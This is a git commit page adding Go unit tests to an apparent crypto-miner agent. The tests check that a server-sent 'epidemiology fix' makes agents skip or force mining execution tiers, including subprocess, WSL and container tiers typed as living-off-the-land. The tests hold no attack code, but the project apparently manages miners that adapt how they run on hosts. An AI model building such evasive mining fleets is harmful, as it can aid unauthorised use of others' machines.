Fleet topology epidemiology: strain plague map, interrupt fixes, tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 09:20:30 -07:00
parent f0fe34698c
commit 0935756e5f
10 changed files with 1451 additions and 89 deletions

View File

@@ -0,0 +1,37 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/miner"
)
func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
c := &AgentClient{}
raw, _ := json.Marshal(EpidemiologyFix{
AgentID: "a1",
Reason: "broken branch",
SkipTiers: []string{"exe_subprocess", "wsl"},
})
c.applyEpidemiologyFixJSON(raw)
policy := c.miningTierPolicy()
if len(policy.SkipTiers) != 2 {
t.Fatalf("skip tiers=%v", policy.SkipTiers)
}
if policy.SkipTiers[0] != miner.LOTLTier("exe_subprocess") {
t.Fatalf("first skip=%v", policy.SkipTiers[0])
}
}
func TestApplyEpidemiologyFixForceTier(t *testing.T) {
c := &AgentClient{}
raw, _ := json.Marshal(EpidemiologyFix{
ForceTier: "container",
})
c.applyEpidemiologyFixJSON(raw)
policy := c.miningTierPolicy()
if policy.ForceTier != miner.TierContainer {
t.Fatalf("force tier=%v", policy.ForceTier)
}
}